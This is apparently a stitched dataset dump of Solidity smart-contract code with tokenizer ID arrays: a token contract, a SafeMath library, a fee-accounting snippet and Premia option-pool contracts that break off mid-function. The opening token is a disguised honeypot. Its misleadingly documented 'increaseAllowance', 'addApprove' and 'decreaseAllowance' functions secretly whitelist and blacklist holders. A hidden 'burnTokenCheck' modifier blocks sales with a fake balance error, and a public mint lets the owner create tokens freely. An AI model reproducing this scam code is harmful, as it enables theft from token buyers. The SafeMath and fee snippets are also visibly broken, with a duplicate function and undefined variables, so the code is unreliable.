balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks. Arithmetic operations in Solidity wrap on overflow. This can easily result in bugs, because programmers usually assume that an overflow raises an error, which is the standard behavior in high level programming languages. `SafeMath` restores this intuition by reverting the transaction when an operation overflows. Using this library instead of the unchecked operations eliminates an entire class of bugs, so it's recommended to use it always./
library SafeMath { pragma solidity ^0.6.6; function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
5,964,658
[ 1, 24114, 1879, 348, 7953, 560, 1807, 30828, 5295, 598, 3096, 9391, 4271, 18, 27443, 5295, 316, 348, 7953, 560, 2193, 603, 9391, 18, 1220, 848, 17997, 563, 316, 22398, 16, 2724, 5402, 81, 414, 11234, 6750, 716, 392, 9391, 14183, 392, 555, 16, 1492, 353, 326, 4529, 6885, 316, 3551, 1801, 5402, 11987, 8191, 18, 1375, 9890, 10477, 68, 3127, 3485, 333, 509, 89, 608, 635, 15226, 310, 326, 2492, 1347, 392, 1674, 9391, 87, 18, 11637, 333, 5313, 3560, 434, 326, 22893, 5295, 19229, 4174, 392, 7278, 667, 434, 22398, 16, 1427, 518, 1807, 14553, 358, 999, 518, 3712, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 14060, 10477, 288, 203, 683, 9454, 18035, 560, 3602, 20, 18, 26, 18, 26, 31, 203, 565, 445, 527, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 276, 273, 279, 397, 324, 31, 203, 3639, 2583, 12, 71, 1545, 279, 16, 315, 9890, 10477, 30, 2719, 9391, 8863, 203, 203, 3639, 327, 276, 31, 203, 565, 289, 203, 203, 565, 445, 720, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 720, 12, 69, 16, 324, 16, 315, 9890, 10477, 30, 720, 25693, 9391, 8863, 203, 565, 289, 203, 203, 565, 445, 720, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 16, 533, 3778, 9324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 70, 1648, 279, 16, 9324, 1769, 203, 3639, 2254, 5034, 276, 273, 279, 300, 324, 31, 203, 203, 3639, 327, 276, 31, 203, 565, 289, 203, 203, 565, 445, 14064, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 309, 261, 69, 422, 374, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 276, 273, 279, 380, 324, 31, 203, 3639, 2583, 12, 71, 342, 279, 422, 324, 16, 315, 9890, 10477, 30, 23066, 9391, 8863, 203, 203, 3639, 327, 276, 31, 203, 565, 289, 203, 203, 565, 445, 14064, 12, 11890, 5034, 279, 16, 2 ]
./full_match/83/0xf063E7c32CBeE0890524AB919758ef72De48e18d/sources/contracts/BaseV1-core.sol
this function MUST be called on any balance changes, otherwise can be used to infinitely claim fees Fees are segregated from core funds, so fees can never put liquidity at risk
function _updateFor(address recipient) internal { if (_supplied > 0) { uint256 _supplyIndex1 = supplyIndex1[recipient]; uint256 _index1 = index1; supplyIndex1[recipient] = _index1; uint256 _delta1 = _index1 - _supplyIndex1; if (_delta0 > 0) { claimable0[recipient] += _share; } if (_delta1 > 0) { uint256 _share = (_supplied * _delta1) / 1e18; claimable1[recipient] += _share; } supplyIndex1[recipient] = index1; } }
9,564,253
[ 1, 2211, 445, 10685, 506, 2566, 603, 1281, 11013, 3478, 16, 3541, 848, 506, 1399, 358, 316, 926, 25818, 7516, 1656, 281, 5782, 281, 854, 2291, 1574, 690, 628, 2922, 284, 19156, 16, 1427, 1656, 281, 848, 5903, 1378, 4501, 372, 24237, 622, 18404, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 2725, 1290, 12, 2867, 8027, 13, 2713, 288, 203, 3639, 309, 261, 67, 2859, 3110, 405, 374, 13, 288, 203, 5411, 2254, 5034, 389, 2859, 1283, 1016, 21, 273, 14467, 1016, 21, 63, 20367, 15533, 203, 5411, 2254, 5034, 389, 1615, 21, 273, 770, 21, 31, 203, 5411, 14467, 1016, 21, 63, 20367, 65, 273, 389, 1615, 21, 31, 203, 5411, 2254, 5034, 389, 9878, 21, 273, 389, 1615, 21, 300, 389, 2859, 1283, 1016, 21, 31, 203, 5411, 309, 261, 67, 9878, 20, 405, 374, 13, 288, 203, 7734, 7516, 429, 20, 63, 20367, 65, 1011, 389, 14419, 31, 203, 5411, 289, 203, 5411, 309, 261, 67, 9878, 21, 405, 374, 13, 288, 203, 7734, 2254, 5034, 389, 14419, 273, 261, 67, 2859, 3110, 380, 389, 9878, 21, 13, 342, 404, 73, 2643, 31, 203, 7734, 7516, 429, 21, 63, 20367, 65, 1011, 389, 14419, 31, 203, 5411, 289, 203, 5411, 14467, 1016, 21, 63, 20367, 65, 273, 770, 21, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; import {EnumerableSet} from "@solidstate/contracts/utils/EnumerableSet.sol"; import {IPremiaOptionNFTDisplay} from "../interface/IPremiaOptionNFTDisplay.sol"; import {IPoolView, IERC1155Metadata} from "./IPoolView.sol"; import {PoolInternal} from "./PoolInternal.sol"; import {PoolStorage} from "./PoolStorage.sol"; /** * @title Premia option pool * @dev deployed standalone and referenced by PoolProxy */ contract PoolView is IPoolView, PoolInternal { using EnumerableSet for EnumerableSet.UintSet; using PoolStorage for PoolStorage.Layout; address internal immutable NFT_DISPLAY_ADDRESS; constructor( address nftDisplay, address ivolOracle, address weth, address premiaMining, address feeReceiver, address feeDiscountAddress, int128 fee64x64 ) PoolInternal( ivolOracle, weth, premiaMining, feeReceiver, feeDiscountAddress, fee64x64 ) { NFT_DISPLAY_ADDRESS = nftDisplay; } /** * @inheritdoc IPoolView */ function getFeeReceiverAddress() external view override returns (address) { return FEE_RECEIVER_ADDRESS; } /** * @inheritdoc IPoolView */ function getPoolSettings() external view override returns (PoolStorage.PoolSettings memory) { PoolStorage.Layout storage l = PoolStorage.layout(); return PoolStorage.PoolSettings( l.underlying, l.base, l.underlyingOracle, l.baseOracle ); } /** * @inheritdoc IPoolView */ function getTokenIds() external view override returns (uint256[] memory) { PoolStorage.Layout storage l = PoolStorage.layout(); uint256 length = l.tokenIds.length(); uint256[] memory result = new uint256[](length); for (uint256 i = 0; i < length; i++) { result[i] = l.tokenIds.at(i); } return result; } /** * @inheritdoc IPoolView */ function getCLevel64x64(bool isCall) external view override returns (int128 cLevel64x64) { (cLevel64x64, ) = PoolStorage.layout().getRealPoolState(isCall); } /** * @inheritdoc IPoolView */ function getSteepness64x64(bool isCallPool) external view override returns (int128) { if (isCallPool) { return PoolStorage.layout().steepnessUnderlying64x64; } else { return PoolStorage.layout().steepnessBase64x64; } } /** * @inheritdoc IPoolView */ function getPrice(uint256 timestamp) external view override returns (int128) { return PoolStorage.layout().getPriceUpdate(timestamp); } /** * @inheritdoc IPoolView */ function getParametersForTokenId(uint256 tokenId) external pure override returns ( PoolStorage.TokenType, uint64, int128 ) { return PoolStorage.parseTokenId(tokenId); } /** * @inheritdoc IPoolView */ function getMinimumAmounts() external view override returns (uint256 minCallTokenAmount, uint256 minPutTokenAmount) { PoolStorage.Layout storage l = PoolStorage.layout(); return (_getMinimumAmount(l, true), _getMinimumAmount(l, false)); } /** * @inheritdoc IPoolView */ function getCapAmounts() external view override returns (uint256 callTokenCapAmount, uint256 putTokenCapAmount) { PoolStorage.Layout storage l = PoolStorage.layout(); return (_getPoolCapAmount(l, true), _getPoolCapAmount(l, false)); } /** * @inheritdoc IPoolView */ function getUserTVL(address user) external view override returns (uint256 underlyingTVL, uint256 baseTVL) { PoolStorage.Layout storage l = PoolStorage.layout(); return (l.userTVL[user][true], l.userTVL[user][false]); } /** * @inheritdoc IPoolView */ function getTotalTVL() external view override returns (uint256 underlyingTVL, uint256 baseTVL) { PoolStorage.Layout storage l = PoolStorage.layout(); return (l.totalTVL[true], l.totalTVL[false]); } /** * @inheritdoc IPoolView */ function getLiquidityQueuePosition(address account, bool isCallPool) external view override returns (uint256 liquidityBeforePosition, uint256 positionSize) { PoolStorage.Layout storage l = PoolStorage.layout(); uint256 tokenId = _getFreeLiquidityTokenId(isCallPool); if (!l.isInQueue(account, isCallPool)) { liquidityBeforePosition = _totalSupply(tokenId); } else { mapping(address => address) storage asc = l.liquidityQueueAscending[ isCallPool ]; address depositor = asc[address(0)]; while (depositor != account) { liquidityBeforePosition += _balanceOf(depositor, tokenId); depositor = asc[depositor]; } positionSize = _balanceOf(depositor, tokenId); } } /** * @inheritdoc IPoolView */ function getPremiaMining() external view override returns (address) { return PREMIA_MINING_ADDRESS; } /** * @inheritdoc IPoolView */ function getDivestmentTimestamps(address account) external view override returns ( uint256 callDivestmentTimestamp, uint256 putDivestmentTimestamp ) { PoolStorage.Layout storage l = PoolStorage.layout(); callDivestmentTimestamp = l.divestmentTimestamps[account][true]; putDivestmentTimestamp = l.divestmentTimestamps[account][false]; } /** * @inheritdoc IERC1155Metadata * @dev SVG generated via external PremiaOptionNFTDisplay contract */ function uri(uint256 tokenId) external view override returns (string memory) { return IPremiaOptionNFTDisplay(NFT_DISPLAY_ADDRESS).tokenURI( address(this), tokenId ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Set implementation with enumeration functions * @dev derived from https://github.com/OpenZeppelin/openzeppelin-contracts (MIT license) */ library EnumerableSet { struct Set { bytes32[] _values; // 1-indexed to allow 0 to signify nonexistence mapping(bytes32 => uint256) _indexes; } struct Bytes32Set { Set _inner; } struct AddressSet { Set _inner; } struct UintSet { Set _inner; } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function indexOf(Bytes32Set storage set, bytes32 value) internal view returns (uint256) { return _indexOf(set._inner, value); } function indexOf(AddressSet storage set, address value) internal view returns (uint256) { return _indexOf(set._inner, bytes32(uint256(uint160(value)))); } function indexOf(UintSet storage set, uint256 value) internal view returns (uint256) { return _indexOf(set._inner, bytes32(value)); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function _at(Set storage set, uint256 index) private view returns (bytes32) { require( set._values.length > index, 'EnumerableSet: index out of bounds' ); return set._values[index]; } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _indexOf(Set storage set, bytes32 value) private view returns (uint256) { unchecked { return set._indexes[value] - 1; } } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 index = valueIndex - 1; bytes32 last = set._values[set._values.length - 1]; // move last value to now-vacant index set._values[index] = last; set._indexes[last] = index + 1; // clear last index set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } } // SPDX-License-Identifier: LGPL-3.0-or-later pragma solidity ^0.8.0; interface IPremiaOptionNFTDisplay { function tokenURI(address _pool, uint256 _tokenId) external view returns (string memory); } // SPDX-License-Identifier: LGPL-3.0-or-later pragma solidity ^0.8.0; import {IERC1155Metadata} from "@solidstate/contracts/token/ERC1155/metadata/IERC1155Metadata.sol"; import {PoolStorage} from "./PoolStorage.sol"; /** * @notice Pool view function interface */ interface IPoolView is IERC1155Metadata { /** * @notice get fee receiver address * @dev called by PremiaMakerKeeper * @return fee receiver address */ function getFeeReceiverAddress() external view returns (address); /** * @notice get fundamental pool attributes * @return structured PoolSettings */ function getPoolSettings() external view returns (PoolStorage.PoolSettings memory); /** * @notice get the list of all token ids in circulation * @return list of token ids */ function getTokenIds() external view returns (uint256[] memory); /** * @notice get current C-Level, accounting for unrealized decay and pending deposits * @param isCall whether query is for call or put pool * @return cLevel64x64 64x64 fixed point representation of C-Level */ function getCLevel64x64(bool isCall) external view returns (int128); /** * @notice get steepness coefficient * @param isCall whether query is for call or put pool * @return 64x64 fixed point representation of C steepness of Pool */ function getSteepness64x64(bool isCall) external view returns (int128); /** * @notice get oracle price at timestamp * @param timestamp timestamp to query * @return 64x64 fixed point representation of price */ function getPrice(uint256 timestamp) external view returns (int128); /** * @notice get parameters for token id * @param tokenId token id to query * @return token type enum * @return maturity * @return 64x64 fixed point representation of strike price */ function getParametersForTokenId(uint256 tokenId) external pure returns ( PoolStorage.TokenType, uint64, int128 ); /** * @notice get minimum purchase and interval amounts * @return minCallTokenAmount minimum call pool amount * @return minPutTokenAmount minimum put pool amount */ function getMinimumAmounts() external view returns (uint256 minCallTokenAmount, uint256 minPutTokenAmount); /** * @notice get deposit cap amounts * @return callTokenCapAmount call pool deposit cap * @return putTokenCapAmount put pool deposit cap */ function getCapAmounts() external view returns (uint256 callTokenCapAmount, uint256 putTokenCapAmount); /** * @notice get TVL (total value locked) for given address * @param account address whose TVL to query * @return underlyingTVL user total value locked in call pool (in underlying token amount) * @return baseTVL user total value locked in put pool (in base token amount) */ function getUserTVL(address account) external view returns (uint256 underlyingTVL, uint256 baseTVL); /** * @notice get TVL (total value locked) of entire Pool * @return underlyingTVL total value locked in call pool (in underlying token amount) * @return baseTVL total value locked in put pool (in base token amount) */ function getTotalTVL() external view returns (uint256 underlyingTVL, uint256 baseTVL); /** * @notice get position in the liquidity queue of the Pool * @param account account address whose liquidity position to query * @param isCallPool whether query is for call or put pool * @return liquidityBeforePosition total available liquidity before account's liquidity queue * @return positionSize size of the account's liquidity queue position */ function getLiquidityQueuePosition(address account, bool isCallPool) external view returns (uint256 liquidityBeforePosition, uint256 positionSize); /** * @notice get the address of PremiaMining contract * @return address of PremiaMining contract */ function getPremiaMining() external view returns (address); /** * @notice get the gradual divestment timestamps of a user * @param account address whose divestment timestamps to query * @return callDivestmentTimestamp gradual divestment timestamp of the user for the call pool * @return putDivestmentTimestamp gradual divestment timestamp of the user for the put pool */ function getDivestmentTimestamps(address account) external view returns ( uint256 callDivestmentTimestamp, uint256 putDivestmentTimestamp ); } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; import {IERC173} from "@solidstate/contracts/access/IERC173.sol"; import {OwnableStorage} from "@solidstate/contracts/access/OwnableStorage.sol"; import {IERC20} from "@solidstate/contracts/token/ERC20/IERC20.sol"; import {ERC1155EnumerableInternal, ERC1155EnumerableStorage, EnumerableSet} from "@solidstate/contracts/token/ERC1155/enumerable/ERC1155Enumerable.sol"; import {IWETH} from "@solidstate/contracts/utils/IWETH.sol"; import {PoolStorage} from "./PoolStorage.sol"; import {ABDKMath64x64} from "abdk-libraries-solidity/ABDKMath64x64.sol"; import {ABDKMath64x64Token} from "../libraries/ABDKMath64x64Token.sol"; import {OptionMath} from "../libraries/OptionMath.sol"; import {IFeeDiscount} from "../staking/IFeeDiscount.sol"; import {IPoolEvents} from "./IPoolEvents.sol"; import {IPremiaMining} from "../mining/IPremiaMining.sol"; import {IVolatilitySurfaceOracle} from "../oracle/IVolatilitySurfaceOracle.sol"; /** * @title Premia option pool * @dev deployed standalone and referenced by PoolProxy */ contract PoolInternal is IPoolEvents, ERC1155EnumerableInternal { using ABDKMath64x64 for int128; using EnumerableSet for EnumerableSet.AddressSet; using EnumerableSet for EnumerableSet.UintSet; using PoolStorage for PoolStorage.Layout; address internal immutable WETH_ADDRESS; address internal immutable PREMIA_MINING_ADDRESS; address internal immutable FEE_RECEIVER_ADDRESS; address internal immutable FEE_DISCOUNT_ADDRESS; address internal immutable IVOL_ORACLE_ADDRESS; int128 internal immutable FEE_64x64; uint256 internal immutable UNDERLYING_FREE_LIQ_TOKEN_ID; uint256 internal immutable BASE_FREE_LIQ_TOKEN_ID; uint256 internal immutable UNDERLYING_RESERVED_LIQ_TOKEN_ID; uint256 internal immutable BASE_RESERVED_LIQ_TOKEN_ID; uint256 internal constant INVERSE_BASIS_POINT = 1e4; uint256 internal constant BATCHING_PERIOD = 260; // Minimum APY for capital locked up to underwrite options. // The quote will return a minimum price corresponding to this APY int128 internal constant MIN_APY_64x64 = 0x4ccccccccccccccd; // 0.3 constructor( address ivolOracle, address weth, address premiaMining, address feeReceiver, address feeDiscountAddress, int128 fee64x64 ) { IVOL_ORACLE_ADDRESS = ivolOracle; WETH_ADDRESS = weth; PREMIA_MINING_ADDRESS = premiaMining; FEE_RECEIVER_ADDRESS = feeReceiver; // PremiaFeeDiscount contract address FEE_DISCOUNT_ADDRESS = feeDiscountAddress; FEE_64x64 = fee64x64; UNDERLYING_FREE_LIQ_TOKEN_ID = PoolStorage.formatTokenId( PoolStorage.TokenType.UNDERLYING_FREE_LIQ, 0, 0 ); BASE_FREE_LIQ_TOKEN_ID = PoolStorage.formatTokenId( PoolStorage.TokenType.BASE_FREE_LIQ, 0, 0 ); UNDERLYING_RESERVED_LIQ_TOKEN_ID = PoolStorage.formatTokenId( PoolStorage.TokenType.UNDERLYING_RESERVED_LIQ, 0, 0 ); BASE_RESERVED_LIQ_TOKEN_ID = PoolStorage.formatTokenId( PoolStorage.TokenType.BASE_RESERVED_LIQ, 0, 0 ); } modifier onlyProtocolOwner() { require( msg.sender == IERC173(OwnableStorage.layout().owner).owner(), "Not protocol owner" ); _; } function _getFeeDiscount(address feePayer) internal view returns (uint256 discount) { if (FEE_DISCOUNT_ADDRESS != address(0)) { discount = IFeeDiscount(FEE_DISCOUNT_ADDRESS).getDiscount(feePayer); } } function 